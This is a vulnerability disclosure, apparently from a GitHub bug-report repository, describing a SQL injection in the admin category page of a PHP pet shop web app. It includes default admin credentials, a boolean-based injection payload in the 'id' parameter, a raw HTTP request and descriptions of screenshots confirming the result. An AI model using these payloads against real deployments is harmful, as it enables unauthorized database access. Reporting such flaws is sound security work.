

main

...

bug_report / vendors / oretnom23 / online-pet-shop-we-app / SQLi-2.md



hegeoo Create SQLi-2.md

History

1 contributor

37 lines (24 sloc) | 1.29 KB

...

Online Pet Shop We App v1.0 by oretnom23 has SQL injection

BUG_Author: hegeoo

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14839/online-pet-shop-we-app-using-php-and-paypal-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /pet_shop/admin/?page=maintenance/manage_category&id=

Vulnerability location: /pet_shop/admin/?page=maintenance/manage_category&id=id

dbname=pets_shop_db,length=11

[+] Payload: /pet_shop/admin/?

page=maintenance/manage_category&id=4%27%20and%20length(database())%20=11--+

// Leak place ---> id

GET /pet_shop/admin/?page=maintenance/manage_category&id=4%27%20and%20length(database()
Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=k8u390ikl968phg971gmpmhtj5
Connection: close

length=11

The screenshot shows the Burp Suite interface with the 'Load URL' tab selected. The URL bar contains the following payload: `http://192.168.1.19/pet_shop/admin/?page=maintenance/manage_category&id=4' and length(database())=11--+|`. The 'Post data' checkbox is checked. The 'OxHEX' tab is selected in the bottom toolbar. The main content area displays the 'Update Category' form of the 'Pet Shop Food and Accessories Shop - Admin' application. The form has a 'Category Name' field with the value 'Accessories' and a 'Description' field with a rich text editor. The 'Status' field is visible at the bottom.

length=12

The screenshot shows the Burp Suite interface with the 'Load URL' tab selected. The URL bar contains the following payload: `http://192.168.1.19/pet_shop/admin/?page=maintenance/manage_category&id=4' and length(database())=12--+|`. The 'Post data' checkbox is checked. The 'OxHEX' tab is selected in the bottom toolbar. The main content area displays the 'Create New Category' form of the 'Pet Shop Food and Accessories Shop - Admin' application. The form has a 'Category Name' field and a 'Description' field with a rich text editor. The 'Status' field is visible at the bottom and is set to 'Active'.